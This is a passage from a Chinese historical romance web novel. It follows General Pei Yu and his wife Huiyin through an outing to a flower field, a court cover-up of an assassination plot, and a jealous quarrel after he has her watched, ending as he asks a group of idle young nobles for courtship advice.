但他不能,徽音会生气,他强压着内心的不爽,淡淡道:“我不想和他们在一起,我们走吧。” 徽音转头看着他,没怪他也没问为什么,而是叫他去跟睢阳知会一声,然后任由他乖乖牵着手离开。 裴彧带着徽音来到一处天堑,岩口极窄,只供一人单行通过,裴彧牵着徽音一前一后的走过去。 越过岩壁,身后是一大片盛开的花田, 远望过去,只见一片斑斓的色块,浩浩荡荡地漫到天边,与云霞争艳。 花田的尽头,有一颗粗壮的老树,沉默地守着这片喧嚣的美丽。它枝干虬曲,与柔媚的花海对照,一刚一柔,一静一动,倒显出奇异的和谐来。 裴彧松开徽音的手,随手摘了朵鲜艳的野花别在徽音发间,他倚靠在岩壁上,抱臂打量面前的美人。 “十五岁那年我第一次来甘泉宫就发现了这个地,没想到现在比那时还要茂盛。” 徽音向前几步,裙摆擦过花朵,花瓣簌簌的掉在地上,花香四溢。 “这里真美。” 裴彧不喜欢浓郁的花香,他皱了皱鼻,靠近徽音,懒洋洋的掰着手腕道:“我看你平时除了练字就是修建花枝,猜你应该很喜欢这些花花草草,等回去了,我让人给你种一片花田。” 他自顾自说道:“临水阁那地有些小,要不你搬去我那里。” 徽音蹲在花田里,不一会的功夫手中已经有一捧颜色各异的花朵,她头也不回,全神贯注的盯着花田道:“我不搬,我喜欢临水阁。” “行,依你。” 他看徽音一副兴致勃勃的模样,朝远处那颗大树走去,叮嘱道:“我去小憩一会,你不要乱跑,有事叫我。” 徽音摆摆手,示意自己知道了。 她收集好各色花朵后,用长细叶的草捆在一起,颜娘也喜欢花,徽音卧房里的花都是颜娘每日在换,她现在下不了床,徽音便想将这捧花带回去,叫她开心。 她起身环顾一圈,裴彧卧在树下,双手垫在脑后做枕,单腿支起,脸上盖着一块圆圆的绿叶。 徽音提着裙摆小跑过去,长发飞扬,嘴边的笑意一直没有停下。她来到裴彧身边,突然起了坏心,趴在他身边采摘紫色小花摆成一团,一只一只的插进裴彧的发髻间。 爬了半天山,又闹了一会,她也些累,遂伏在裴彧身旁,慢慢合上眼睡去。 花田深处,喧嚣的色彩忽然静了下来。 裴彧鼻尖闻到熟悉的气息,侧身朝徽音方向,下颌轻轻抵着她的发顶,呼吸悠长而平稳。他一只手臂自然环过她的肩,手掌自然地垂落,搭在她的臂弯,是一种无意识的守护姿态。 徽音侧身蜷缩着,面颊朝他胸膛的方向微侧,长睫如蝶翼,在眼下投出一弯浅淡的阴影,嘴角微微上扬。 此刻,尊卑,烦忧,尘世的一切,皆被隔在了这花海之外。唯有呼吸交织,心跳渐趋同步。 —— 黄昏时分,万奈寂静。 裴彧率先醒来,他动了动发麻的身体,徽音卧在他怀里睡得正香。 他伸手去捏她的鼻尖,另一只手去摸她的耳垂,双管齐下,没一会徽音就醒了。 她睡眼朦胧,浅浅的打了个哈欠,眯着眼趴在裴彧的胸膛上浅眠。 裴彧只觉得胸口被什么东西不轻不重地撞了一下,一股温热的暖流便从那撞击点四散开来,顷刻间漫遍四肢百骸。 他下意识地收紧了环住她的手臂,动作却轻柔得像是怕碰碎了稀世的珍宝。只觉得怀里的这个人,怎么就能可爱到如此地步?一举一动,一颦一笑,都精准地敲在他心尖最柔软的那一处,敲得他毫无招架之力。 他语气极为轻柔,“徽音,醒醒,我们得下山了。” 徽音揉揉眼,艰难的坐起身,呆呆的望着裴彧,她知道紫色很衬他,却没想到如此适配。 他簪花,却不显半分女气,只将那秾艳春光别在了鬓边,将原本就风流无边的容色更添三分艳丽。 旁人簪花或显矫揉,在他却浑然天成。那笑意里带三分酒意,七分不羁,眼风扫过处,不必言语,已道尽繁华。 裴彧伸手在她面前挥挥,“傻了,我背你下山。” 徽音及时的忍住笑,拦住他蹲下的动作,“等我走不动你再背。” 裴彧拉着她的手慢悠悠的晃荡下山,顺便欣赏夕阳山,云霞无边的美景。 徽音叹道:“这云海真美。” 裴彧头也不回的说道,这云霞他都看腻了,“你喜欢,我天天带你来看。” 徽音捶着酸胀的大腿,她昨夜被裴彧翻来覆去的折腾,今日又咬牙硬爬上山,腿脚早已巍巍颤颤要罢工。 她连忙拒绝道:“别,山下也能看。” 裴彧停住脚步,望着云霞眼底怀恋,“代郡的云霞也好看。北疆锁钥,地接胡尘,如旌旗漫卷,万骑驰骋扬起的烟尘。” 徽音望着他映着余晖的侧脸,“你是不是很想回去?” 裴彧一晒,摇摇头,不再说什么,牵着徽音下山。 他不说,徽音却知道,他是想念的,想念大漠冷冽的风沙,代郡的长城和烽烟,并肩作战的兄弟。 他在代郡的那五年,过的应当很艰难。他身上那些大大小小的伤疤做不得假,出身尊贵,明明可以像其他人一样享一世尊荣,却在艰苦的边境驻守五年。 皇权侵轧下,任何人都逃脱不开。裴家烈火烹油的荣宠下,又有谁知道其中凶险。太子吴王长成,陛下为防裴氏独大,抬举吴王和郑氏相抗。 裴家其他两房均远离中枢,常年不在长安,形同虚设。五年前,大司马战死,年纪十五岁的裴彧扛起裴家大旗,寡母性弱,幼弟尚小,他不仅得扛起裴府,还得替宫中独木难支的裴后和年幼的太子撑着。 徽音握住裴彧的手,和他十指相扣,胸口仿佛被什么东西无声地淤住了,沉甸甸地发胀。 她想起东瓯大捷传来时,宣平门那个老头口中的裴彧,他曾经是那么热烈的一个人,在代郡是不是也和长安一样,鲜衣怒马,一呼百应。 徽音不可控制的嫉妒起柳檀,她见过少年裴彧热烈张扬,得到过他的细心呵护,裴彧现在对她的种种,是不是也对柳檀做过,是不是也带着她相卧在花田,一起看云霞。 颜娘问她舍不舍得下,徽音想,她是能舍下的,只是很难。 裴彧察觉身后人的情绪低落,在前方开路,牵着她小心翼翼的下坡,“怎么不说话?” 徽音迟疑片刻,终是问出声:“你往后会娶柳檀吗?” 裴彧先是愕然,随即眉眼彻底舒展开来,笑声清越如玉石相击。他甚至笑得歪倒在徽音肩上,肩膀抖动。 徽音恼羞成怒的推开他,独自向前走去。 裴彧见人羞恼,忙不迭的跟上去语气,拿肩膀去撞徽音,语气愉悦,“吃醋了?” 徽音甩开他握上来的手,闷头朝前走。 裴彧在身后解释,“我不会娶她。” 徽音放慢脚步,等着裴彧追上来,他双手放在徽音肩膀上将人扭过来,低头直视她的眼睛,一字一句的,“我不会娶她。” “哦。”徽音眨眨眼,撩开他的手臂继续朝前走。 裴彧再去捉她柔软的小手,紧紧的牵着,“看不出来,你醋劲还挺大。” 徽音反驳,“我没醋。” 裴彧回头看看她蹙起的眉心,微皱的鼻头,心里好笑的紧,“行行行,没醋。” 两人下山时天已经黑透了,山脚下聚着一群人举着火把闲话,是睢阳等人,他们也才下山。 徽音身体一僵,侧头去看裴彧,心里暗叫不好,想叫裴彧转个方向离开,但已经来不及了。 睢阳也在这时看见了他们二人,朝他们打招呼,“表兄,你们也刚刚下山啊……” 她声音戛然而止,表情凝在脸上,身侧的王子邵等人也转过头,神情和睢阳如出一辙。 裴彧没在意他们,微微点头,无意识的扫了眼王寰,牵着徽音离开。 走到王寰身边时裴彧才注意到不对劲,他停住脚步皱眉望去,一群人盯着他的脸仿佛见鬼了一般。 裴彧抬手摸摸脸,问徽音,“我脸上有什么脏东西吗?” 徽音视线从他头上那一排紫色的小花移过,万分真诚道:“没啊。” 裴彧这才转头冷淡的盯着那几人,斥道:“看什么看。” 睢阳艰难道:“表兄,你……” 王寰上前一步,挡住裴彧的视线,他看了眼裴彧身侧给他使眼色的徽音,唇角缓缓向上勾起,笑声如春风拂过琴弦,清雅温和,“天色已暗,裴将军先请。” 裴彧手掌蜷缩,最看不惯他装模作样,当着他的面就勾引徽音,着实可恨。 他冷嗤一声,昂首挺胸朝前走,发髻上的小花随着他的动作一颤一颤的。 徽音呼出一口气,抱歉的看着王寰,老老实实的跟在裴彧身后。她不是故意要裴彧丢脸的,真是忘了。现在也不好再开口说,裴彧非给她活剥了不可。 一路上迎着好些人的惊异的视线回到迎风馆,一进门就看见正在院中散步消食的贺佳莹,她张大嘴巴不可置信的看着裴彧,“表兄你……喜欢簪花啊?” 裴彧拧着眉,一路上都有人朝他投来奇怪的眼神,听见贺佳莹这句话后,他伸手在头顶撸了一把,几朵紫色小花静静的躺在他手心,提醒他发生了什么。 他扭头去看身边的徽音,闯祸的人已经抱着花束溜进颜娘的屋里,都没跟他打声招呼。 裴彧面无表情的回,“我喜欢,你有意见?” 贺佳莹头摇的跟拨浪鼓一样,表兄这副模样太吓人了,像是要提刀去砍人,她不敢耽搁,麻溜的躲回屋。 裴彧无视角落偷笑的婢女,绷着脸走进正房来到铜镜前,镜中男子发髻上还残留三朵小花,一晃一晃的像是在和他打招呼。 所以,他就是顶着一脑门的花,从甘泉山脚一路走了回来? 裴彧响起王寰站在他面前的笑容,手臂僵直,半响才抬手去摘头上的漏网之鱼,咬牙切齿,“宋徽音。” 他朝外喊:“给我把宋徽音叫过来!” 婢女急忙“哎”了一声,朝旁屋跑去。 徽音正在颜娘屋内插花,五颜六色的花束给昏沉的屋内增添一抹亮色,让人看着心情就不自觉的好起来。 颜娘倚靠在床上,看着徽音唇边的笑容从进屋就没停过,她心里头不禁也高兴两分。 阿蘅抬手敲在门上,“娘子,少将军找你。” 徽音唇边的笑更深了些,她回道:“你先下去,我等会就回。” 阿蘅依言将徽音的话复述给了裴彧,她垂着头不安的动动脚,手心捏着一把汗,深怕裴彧生气骂她一顿。 出乎意料的是,裴彧虽然生气,但什么都没说,挥挥手就让她下去。 徽音护短,自从上次骂了徽音的婢女后被她说了,裴彧就收敛了下脾性,没再骂过她的婢女。 徽音每日必要和颜娘叙话半个时辰,一时半会回不来,裴彧起身拿了套干净的里衣先去沐浴。 他沐浴完,胡乱拿帕子擦干头发,坐在榻上翻看竹简,又等了许久,屋外还是不见动静。 裴彧坐不住的起身,来到颜娘屋外敲门,初时里面无人应声,他又敲了两下,等得不耐烦了里面的人才出声。 徽音:“谁啊?” 裴彧气不打一处来,“你给我出来,快点!” 徽音正给颜娘念书念到一半,闻言拒绝道:“你先回去,我马上就回。” 裴彧等不及的敲门,将门板拍的震天响,“我没怪你害我丢脸,你躲我大半天算怎么个事,出来!” 第46章 只怕在你心里,只有那冯…… 院中早已歇下的婢女被他拍门的声音吵醒, 纷纷探头出来查看。任他敲下去说不准要拆门板,惊动隔壁院的裴夫人。 徽音无奈的放下书册,扶着颜娘躺下, “我明日再来看你。” 颜娘笑道:“我伤已经不碍事了,明日就能下地了。” 徽音眉头一皱, 强硬道:“不行,至少要趟十天。” 裴彧还在外头拍门喊,徽音匆匆忙忙给颜娘掖好被褥,转身去开门。 裴彧敲击的手停在空中, 看见徽音的那一刹那就伸手将人拽出来,挟在腋下, 另一只去捏徽音的脸颊, 恶狠狠道:“躲得过初一,躲得过十五吗?” 徽音奋力躲避他的大掌的揉捏, 腰间的软肉被他捏住,她笑得上气不接下气,一边躲一边道:“我错了别” 两人一路闹着进了正屋,声音愈来愈小,颜娘躺在床上, 望着月亮幽幽的叹息, 她很久没见徽音这样开心了, 像极了从前鲜活的徽音, 不再是一副死气沉沉的模样。 但愿老天爷能眷顾她。 徽音被裴彧像是扛沙袋般扔在榻上, 还没起身就被他用力压住, 重得像座山。她双腿用力的蹬着,想要翻身把裴彧掀下去。 裴彧跪在徽音身上,一只手就将她摁的动弹不得, 他的衣襟在方才的嬉闹中散开,露出里头精壮的腰身,气息微喘,紧实的腹部随着他的呼吸微微起伏。 徽音挣扎了会,确认全凭自己无法挣脱裴彧,她气喘吁吁的垂下手认输,“我错了,我下山的时候忘记告诉你了。” 裴彧冷哼,微微抬腰,“回来的路上你怎么不说?” “我找不到机会呀,万一你在路上发作怎么办?”徽音眼睛睁大,满脸无辜。 “狡辩。”裴彧单手将她双手按在头顶,另一只手掐着她的下巴吻下去,堵住徽音喋喋不休的唇边。直把人吻的昏昏沉沉满脸羞红,才松开压制她的手,麻利的去剥徽音的衣服。 徽音脸红,双手推拒“我还没沐浴。” 裴彧直起身,解开松散的里衣扔在地上,贴着徽音蠢蠢欲动。他难耐的喘了口气,充满野性的身躯紧贴在徽音胸前,“等会我帮你洗。” —— 东方既白,雀鸟在林间鸣叫,院中婢女已经起身杂洒,树叶发出沙沙的响声。 一片宁静祥和中,屋门被人敲响,一个男音传来:“少将军,陛下传召。” 徽音迷迷糊糊间翻了个身,将头埋在被褥里抵挡声音,鼻尖萦绕一股腥味,她难耐的捂住鼻子。 裴彧掀开被褥起身,劲瘦的长腿落在脚踏上,他揉了把头发,声音带着沙哑:“知道了。” 裴彧抹了把脸,回头把徽音从被褥里扒拉出来,给她盖好被褥,放下遮光的帷幔让她安静的睡觉。 他起身懒洋洋的伸了个懒腰,神色餍足,动作极轻的翻出一套常服穿好,离开屋内。 驰厌垂手等在门外,见他出门立马迎上来,裴彧接过婢女递来的帕子洗漱,问:“谁来传的召。” 婢女自觉的退下,驰厌回答:“是陛下身边的王常侍,看起来很急。” 裴彧心中有数,大约是猜到了什么。他擦干脸问:“方木那边如何?” 前几日他将方木派去代郡查找陈颉的底线,算算时间第一道消息应该已经传来了。 驰厌从袖中抽出一块竹简递给裴彧,上面详细的描述了和陈颉参军前的生平,七岁父死母改嫁,继父是益州人氏,一身武艺是益州武馆所学。 裴彧将木简递给驰厌,“传信方木,让他着重去查这个武馆。陈颉能被选入近卫,武艺必定不凡,一偏远县城的武馆可没本事教。” 驰厌记下,接过婢女送来的吃食跟着裴彧身后出门,他将漆盘上的食物递过去,裴彧没什么胃口,摆摆手示意他拿开。 驰厌补上一句:“那婢女说是宋娘子吩咐她准备的。” 裴彧摆手的动作一下,手臂转了个弯拿起漆盘上的烤肉饼,动作行云流水不见阻涩。 他一路进了内宫,跟着小黄门的指引来到林光宫,甘泉山林木幽深,暑气到了这里也消减大半。 林光宫便坐落在这片清凉之境中,殿宇虽不及未央宫恢弘,却更显精巧,颇有江南园林风味。 守在宫外的王沱瞧见裴彧立马带笑的迎上来,态度还和从前一样恭敬,和颜悦色,“裴将军,您来了,陛下已等候您多时。” 裴彧朝他点点头,退履进殿,宣帝只穿一件藏青色深衣常服,闲散的倚在凭几上,指尖敲着一卷竹简,殿内安静得能听见铜漏滴答的声响。 裴彧上前行礼,“臣请陛下圣安。” 宣帝虚虚抬手,示意裴彧起身,“伤养的如何?” 裴彧抬手扭了扭肩膀,笑道:“这几日臣养伤躺的人都快废了。” 宣帝下颚轻抬,示意裴彧坐下,“少贫嘴,让你养伤是为你好,莫要趁着年轻不注意身体。” 他自案几上取下一片竹简递给裴彧,“看看。” 裴彧接过来细看,眼神一凝,刺客陈颉连带剩余的匈奴刺客全部在牢狱自杀身亡,死去供认指使他们的背后之人是一名年前便贬出长安的官员,怀恨在心勾结匈奴人刺杀陛下。 裴彧放下竹简,久久不语。他知道此事不简单,涉及人员甚广,陛下多方顾虑之下会压下此事,成为悬案。 可没想到的是他居然迅速灭口,将罪名推在其他人身上早早结案,摆明了是要包庇幕后之人,不想再让人查下去。 宣帝不放过裴彧脸色的一丝表情,看他从震惊、疑惑、愤怒转变为平静。 裴彧抬眼,眼底不平之色溢于言表,“臣能问一句,为何吗?” 宣帝幽幽叹口气,起身走到轩窗前,沉重的开口:“入夏以来,未有一场雨,此乃内患,八月马匹肥壮,匈奴蠢蠢欲动,此乃外患。” “内忧外患之下,有些事自然也得放下,你可明白?”宣帝负手而立。 裴彧平静道:“臣,明白。” 宣帝满意的点点头,换上一副如沐春风的笑意,“你也歇的够久了,今日起就回去上衙吧。” 裴彧恭敬应答,行礼告退。 他离开林光宫后,碰见了并肩而行的太子和苏静好,两人面带笑容,似乎是要结伴出行。 裴彧停在原地等了几息,自从知道是苏静好屡次出手设计徽音后,他就对这女人厌恶至极,表面一副温软面孔,内里蛇蝎心肠,为了一个男人能和自己十几年的姐妹反目,不是个好东西。 至于徽音,裴彧不觉得她有什么错,若要说错,大概是有眼瞎的毛病,他这么一个绝世男人摆在她眼前,她怎么还惦记太子呢。 他清清嗓,抬步走过去,朝太子拱手行礼。 太子看见裴彧异常高兴,拉着裴彧一顿嘘寒问暖,伤势如何。 裴彧一一回答,话锋一转,“殿下要去何处?” 太子眼含情丝的望了眼苏静好,脸红道:“我送静好去母后那,她这些时日都在母后那里学习宫务。” 苏静好柔柔一笑,微微屈膝行礼。 裴彧冷淡的回礼,眼神锐利的盯着苏静好似笑非笑道:“这么说苏女郎的宫规学的很好咯?可知肆意谋害她人是何惩罚?” 苏静好后退一步,躲在太子身后,有些害怕的回:“妾才疏学浅,不知裴将军何意?” 太子适时的拦在苏静好身前,“表兄,你别吓她。” 裴彧:“问个问题而言,你护这么紧?” “等表兄有了心爱之人,你也懂了。”太子说完这句连耳垂都变红了,瞪了眼裴彧,拉着苏静好离开。 裴彧站在原地,望着两人匆忙离去的身影,心中有些后悔,早知道就趁太子幼时多揍他几顿了,让他脑子清醒些。 —— 裴彧回到迎风馆,正屋门窗大开,依稀可见里头随风飘扬的素色帷幔,院中的婢女挤在掩下吹过堂风,手中各捧着一碗冰镇绿豆汤。 瞧见他回来,几人连忙放下手中的陶碗跪下行礼,裴彧抬手阻止她们的动作,他看了一圈没见着徽音的身影,“娘子呢?” 一名眼熟的婢女上前,裴彧认识她,她叫阿蘅。阿蘅咽下口中的豆汤,恭敬道:“方才娘子独自一人出了门,没叫奴婢们跟着。” “颜娘呢?” 阿蘅回:“颜娘在屋内养伤。” 裴彧又问:“她去哪了?” 阿蘅面露难色,迟疑道:“娘子没告诉奴婢,不过看方向应是往东边去了。” 裴彧朝着她指引的方向看去,小道寂静无人,徽音怕热,平素歇凉还来不及,怎么今日大中午的出门了,还没带人。 徽音出门时比较急,没带遮掩的物具,冯承便摘了朵大荷叶给她顶着在头上。 徽音举着荷叶,柔软的衣袖顺着她双臂滑落,露出一截素白的手腕,“阿兄,什么事这么急?” 刚用完午膳,冯承便叫人给她传信喊她出来相见,口吻十分着急,约的地点也不甚隐秘。 冯承拉住徽音的手腕,带着她躲进树后,他先是鬼鬼祟祟的张望四周,而后才从袖中取出一个木匣递给徽音。 他紧张兮兮道:“这东西是我的人在袁秩长安的旧居所寻,上头皆是古文,我叫人都拿出来了,你看看。” 袁秩父亲是有名的古字文研究大儒,名声在学子中很大,袁秩也是凭借其父的名声才得以入仕,他家中有这些不稀奇。 徽音打开木匣,里面是堆叠在一起的帛书,她一卷卷翻过去,上头都是古老的周文字,与现在的字体大不相同,极为繁琐。 徽音素来喜欢研究古字,倒看得懂一两句,她翻看的动作忽而停住,指尖缩紧,颤抖的抚上中间两个字,不会认错的,这两个字是她阿父的名字,宋渭。 徽音合上布帛,将木匣好生的收拢起来,艰难道:“这东西很重要,我得拿回去仔细研究。” “好,”冯承连连点头,“这东西袁秩藏的可紧实了,我猜就有问题,那我回去等你消息。” 徽音心绪杂乱,胡乱点点头,转身时被脚下树枝差点绊倒,好在冯承扶住了她。 冯承看着心神不宁的徽音,揽住她的肩膀轻轻拍下,宽慰道:“天网恢恢疏而不漏,苏家做过的事不可能没有痕迹的。” “你这副模样我不放心,我送你回去。” 徽音仍由他扶着,她没听清冯承说了些什么,此刻满脑子里都是那些古文字,她心里隐隐能感觉到,这是份重要物证。 午后的道路人烟稀少,一路往回走都没碰见几个人,冯承把徽音送到门口,忍了忍还是说出口,“你可知,裴夫人在替裴氏兄弟择妻?” “什么?”徽音茫然的抬眼,睫毛颤抖。 冯承忿忿不平,“这些时日裴夫人在甘泉宫参加宴饮,言语透露出要在今年为裴彧和裴衍订下来。” 徽音垂下眼,心中泛酸,强忍着平静道:“我知道了。” 冯承压低声音吼道,“你得早做打算!那裴彧并非良人。” 徽音唇色苍白,闻言什么也没说,将尚在生气的冯承送走。她在原地平静半刻,才抬步往回走。 一转身,就看见裴彧立在迎风馆外看着她,不知站了多久。 徽音下意识的把手中的木匣藏在身后,慢吞吞的走过去,“你回来了。” 裴彧视线从离开的冯承移到徽音面上,她额头冒着细汗,面颊晒得泛红,一股无名火从心头窜起,灼得五脏六腑都生疼。 他冷声问:“你跟他在说什么?” 徽音:“没什么,就见面聊了两句。” 裴彧紧追不舍,眼神嘲弄,“聊什么值得你大中午独自一人跑去见他?” 徽音眉心蹙起,明白他是生气,她放软语气解释,“之前托冯阿兄为了寻了些古字书籍,他今日是来送的。” 徽音说着,将藏在身后的木匣拿出来,打开给裴彧看。 裴彧捡起木匣中的帛书胡乱翻看两下,确实都是些古文,他一个字都不认识。 他也没再问什么,侧身让徽音进去,淡淡道:“下次不要见他了,你缺什么,要什么找直接我。” 徽音脚步一滞,他不是一副商量的语气,而是命令,甚至脸上的表情都是前所未有的认真。 她朝四周看了两眼,门口还守着几个侍卫,徽音不想当着他们的面说这些,遂按下心中的怒气,拉着裴彧走进西院。 “我跟你解释过,我和冯承是兄妹之谊,并非你想的那样。我下次去见他一定提前跟你说好不好?” 裴彧抽回手,口吻冷淡,“你们并无血缘关系,何来兄妹之谊。宋徽音,你是有夫之妇,私下和别的男人见面你不觉得有问题吗?” 徽音再度退让:“我下次会带着颜娘的,不会再和他单独见面了,可以吗?” 裴彧嘲道:“不行,你所谓的兄妹之谊是指你们二人搂搂抱抱,举止亲密?恕我见识短浅,没见过这样的兄妹。” 他满面讥讽,一副阴阳怪气的模样。 徽音也不由得被激起几分火,“你跟踪我?” 裴彧率先抬步朝正屋走去,“我可没那闲工夫跟踪你。” 一旁的婢女看着两人之间不对劲的气氛,贴着墙角进屋关上门。 徽音提起裙摆跟上他的脚步,质问道:“那你是不是找人监视我?” 裴彧压抑不住火气,一脚踹开门,反唇相讥,“我要不是找人盯着你,哪里会知道你们是这样“搂搂抱抱”的兄妹。” “你住口!”徽音是真的生气了,她面上的笑意彻底消失,“我们清清白白,你少小人之心。” 裴彧气笑了,他怒喝道:“我小人之人心?只怕在你心里,只有那冯阿兄,王郎君是真正的君子。” 他又将无关人等扯进来,徽音不想再他和扯下去,她现在在意的事裴彧找人盯着她,“你把人撤回去。” “不撤!” 两人的争吵惊动了旁屋的颜娘,她拖着病体打开门,神色焦急的大喊:“娘子,少将军,这是怎么了?” 徽音的神智被颜娘拉回,她深深吐出一口气,笑着安慰颜娘,“没事,你快回去。” 颜娘不肯,还要再劝。 裴彧突然怒喝喊人,“其他人呢,把她给我扶进去!主子吵架,哪有奴婢插嘴的道理。” 缩在房中的阿蘅等人见状连忙出门,七嘴八舌的将颜娘劝回去。 颜娘没办法,怕加深裴彧的怒火,不敢再多说什么,由着她们扶回去。 裴彧转头望着徽音,威胁道:“再让我看见你和其他男人私下会面…… 徽音打断他,没看他一眼,“你当如何?” 裴彧抿紧唇,指节捏得吱吱作响,徽音的神情与方才大为不同,若刚才她是生气,此刻的她全然是一副冷漠、无视的神态。 徽音径直往里走,头也不回道:“我不是你的宠物,我要见谁,和谁交好,你没资格干涉我。” 她动作优雅的整理裙摆坐下,将那个木匣打开,取出里面的帛书铺在案几上,神情冷漠,“裴将军若要罚,随你,我还有事,您请去别处休憩吧。” 裴彧站在原地,忽而失笑,摔门出去,“行。” 他走后,徽音尝试着去钻研帛书,却怎么都集中不住精神,没办法静下心。 她抬头望着被摔木门,胸口哽着一口气舒不出来,指腹紧紧捏着毛笔泛白,屋外伸进几个探头探脑的人影,她起身关上门,隔绝她们的视线。 裴彧这厢摔门出去后,越想越气,心口像是被什么东西狠狠攥住了,又酸又胀,透不过气。 他不过多问两句,她就冲他嚷嚷跟他吵,将冯承护的紧紧的,从没见过她这样在意过自己,这样维护过自己。 裴彧只觉得一股热血猛地涌上头顶,耳边嗡嗡作响。又或是觉得浑身发冷,如坠冰窟。 他们两人的争吵引得东屋的仆妇出来查看,一双眼提溜的望这里看。他的目光瞬间冷了下来,手背上青筋显现,一拳打碎墙壁上的陶灯,怒喝:“滚!” 那仆妇不敢再看,缩进门里去。裴彧回头看了眼毫无动静的西院,甚至没有一个婢女追出去,周身气压骤低,大步离去。 颜娘扶着墙进屋,瞧见徽音一副失神模样,坐着一动不动,眼神不知在望哪里。她慢慢坐过去,把案桌上的帛书一一收好,拍着徽音的肩膀,柔声道:“去午歇会吧。 徽音回神,难受的低下头,“你怎么起来了,快回去歇着。” 颜娘叹气,“你们吵成这样,我哪里还歇得住。” 徽音低着头像个犯错的小孩,眼睛被她揉得红红的,颜娘把她揽进怀里,像幼时那样抱着她宽慰,“这是怎么了,昨日还好好的,今日就吵成这副模样。” 徽音觉得自己很没出息,不过吵两句嘴,她就忍不住想哭,她强忍着道:“我去见冯承,他看见生气了,让我以后不许再见他。” “我本来是想好好跟他解释的,他不肯听,还找人监视我,他还朝你发火。” 颜娘擦干她的泪,轻柔道:“他是打翻醋坛子了,心里头泛酸,是在意你。上次出了那样的事,他是当心你再出事,才找人保护你。” “傅母为何替他说话?” 颜娘叹道:“我哪里是替他说话,我是不想叫你难受。” 徽音没讲话,软软的窝在颜娘怀里,眼前像是蒙上一层雾,模模糊糊叫人看不清。 良久她才道:“那他迁怒于你算怎么回事。” 颜娘笑道:“我不过是个奴婢,叫人说两句又不会少块肉。” 徽音坐起来,抿唇摇头,“你不是奴婢,你是我的傅母,你之于我,就如裴夫人之于他一样,他不尊重你,我很生气。” 她抹了把脸,赌气的去翻木匣子,“是他的错的,我不会低头。” 颜娘按住她的手,“不让你低头,你坐了半天也累了,去睡会吧。” 徽音乖乖任由她摆弄,躺在竹席上,颜娘在一旁摸着她的发,摇着扇子。徽音往旁边挪了个身位,将颜娘拉上竹席,抱着她的手臂闭眼。 第47章 裴将军是想问如何讨好女…… 裴彧径直离开迎风馆, 脚步不停的往苑里走,面沉如水,一副冷面模样惹得路上的官员都不敢上来见礼。 拐过一处庭院, 里面丝竹悦耳之声传出,还夹杂着几句淫词艳调。裴彧瞥了眼, 是长安城内有名的纨绔子弟,聚众饮酒,还叫了一群舞女乐妓做陪。 他脚步不停,大步越过去, 隐约听见几句调笑话,“这女人嘛, 一是要哄, 二是要训,三嘛哈哈哈……” 裴彧耳尖一动, 收回脚步,故作不经意的靠过去,他耳力出众,在这一片丝竹中都能听见几句碎语。 “我韩二郎别的不敢说,哄女人是独一份的, 只要我出马, 天下没哪个女人我搞不定……” 韩二郎?裴彧回想片刻, 这人他认识, 是端阳长公主的小儿子, 有名的纨绔子弟, 惹是生非,有一次撞到他手里,被他教训了一顿, 自那后就绕着他走。 他听了片刻,里头的开始喝酒划拳,吵吵闹闹听不甚清楚。裴彧直起身,整理下衣领,面无表情的朝庭院大门走去。 大门口立着两个韩家男仆,迎上来笑问:“裴将军,您怎么来了?” 韩家男仆对视一眼,他家郎君组局从未邀请过这位裴将军,今日怎么人不请自来了。 裴彧微抬下巴,眼神倨傲,“去通报你家郎君一声,就说我裴某人上门做客,不知他欢迎否?” 男仆不敢耽误,不过十几息的时间,韩二郎那肥头大耳的身影就出现在门口,他素来花天酒地,山珍海味,一副清秀面容硬生生被喂成了猪头。 裴彧拧着眉,这模样也能搞定女人?莫非真有什么诀窍。 韩二郎一脸害怕的走上前,短短几步路,他已经在脑中将这些时日做的每一件事都想了一遍,确认他没做什么得罪过裴彧。 他擦了把汗,颤巍巍的上前,“裴裴……将军,您怎么来了?” 非他胆小,实则一年前裴彧回京时带着他那表妹出门游玩,韩二郎素来喜欢调戏女子,见贺佳莹面容娇俏又是独身女郎,这不嘴贱上去调笑两句,结果一回头,裴彧一脸笑容的站在他身后,不由分说的就是一拳,当场给他撂倒在地上,现在想来鼻子都还隐隐作痛。 裴彧眼神飘忽一阵,无意道:“闻到酒香了,你们在喝酒?” 韩二郎笑起一脸褶子,“对啊对啊。” 裴彧看了他一眼,韩二郎没反应,又看了一眼,韩二郎还是没领会。他颇为嫌弃,这韩二郎真是一点眼色都没有。 裴彧只好直言,“我能进去吗?” “可以,当然可以,快请。”韩二郎反应过来,连忙搓着手,请裴彧进门。 裴彧刚刚踏进门就被一股酒味熏了回去,他难耐的屏住呼吸,脚下绕开地上那一摊烂醉如泥的人。 韩二郎拖着笨重的身体跳进去,踢着脚下醉倒的人,高声嚷嚷:“快起来,快起来,裴将军来了,快快快!” 堂内饮酒的几人皆醉醺醺道:“裴将军,哪个裴将军啊?” 韩二郎急上火,一个一个点过去,“五年前打掉你门牙的那个,把你吊在城门口晾了一夜的那个,放狗追你了三条街的那个。” 这下不用他再喊什么,那几个咕噜一下酒醒了,一个个睁着铜铃太的眼睛瞪着裴彧,仿佛见鬼了般。 地上醉酒的那个摇摇晃晃的起身,一张就酒气熏天的脸凑近裴彧,撅着嘴道:“美人……” 他话还没说完,裴彧已经一手刀劈倒他,嫌弃的在衣摆上擦手,而后抬手示意乐师停下,舞姬退出去。 其他几人纷纷凑近韩二郎瑟瑟发抖,“你……怎么把这个冤家找来了。” 韩二郎欲哭无泪,“与我无关啊,他自己找上门的。” “他还是和以前一样凶残,不是说他变沉稳了吗?” 裴彧擦干净手,挑了张干净的案几坐下,韩二郎这时极有眼色,翻找出干净的酒盏给裴彧倒上茶,讨好的笑笑。 “你……算了。”裴彧看他一脸横肉,脸眼睛缝都看不清,转而打量其他人。 他敲敲案桌,其他几人皆是一抖,只听见裴彧道:“今日来是有事请教,坐。” 几人如同梦游般相扶着坐下,韩二郎在众人的示意下鼓起勇气开口:“裴将军,你要请……教什么?” 裴彧:“方才听你说,这世上就没有你拿不下的女人,你可是有什么诀窍?” 韩二郎本以为他要问什么公务,或者是他们家族中的一些私事,都已经做好挨一顿打的准备了。没想到裴彧居然是问这个,他搓着手问:“裴将军是想要讨好女人吗?” 裴彧皱眉,想起徽音那倔脾气,斥道:“什么讨好,我是那种人吗?” 韩二郎连连告饶,“是我说错了。” 有一人出声:“裴将军可是想问如何让女人死心塌地的爱上你?” 裴彧单手支着下巴点头,“对,就是这个,你们可有什么高招?” “那自然是有啊。” 韩二郎几人一扫方才的害怕,聚拢在裴彧身边,你一言我一语的说起来,说到激动之处,两个男人还抱在一起示范,直把裴彧惊出一身鸡皮疙瘩。 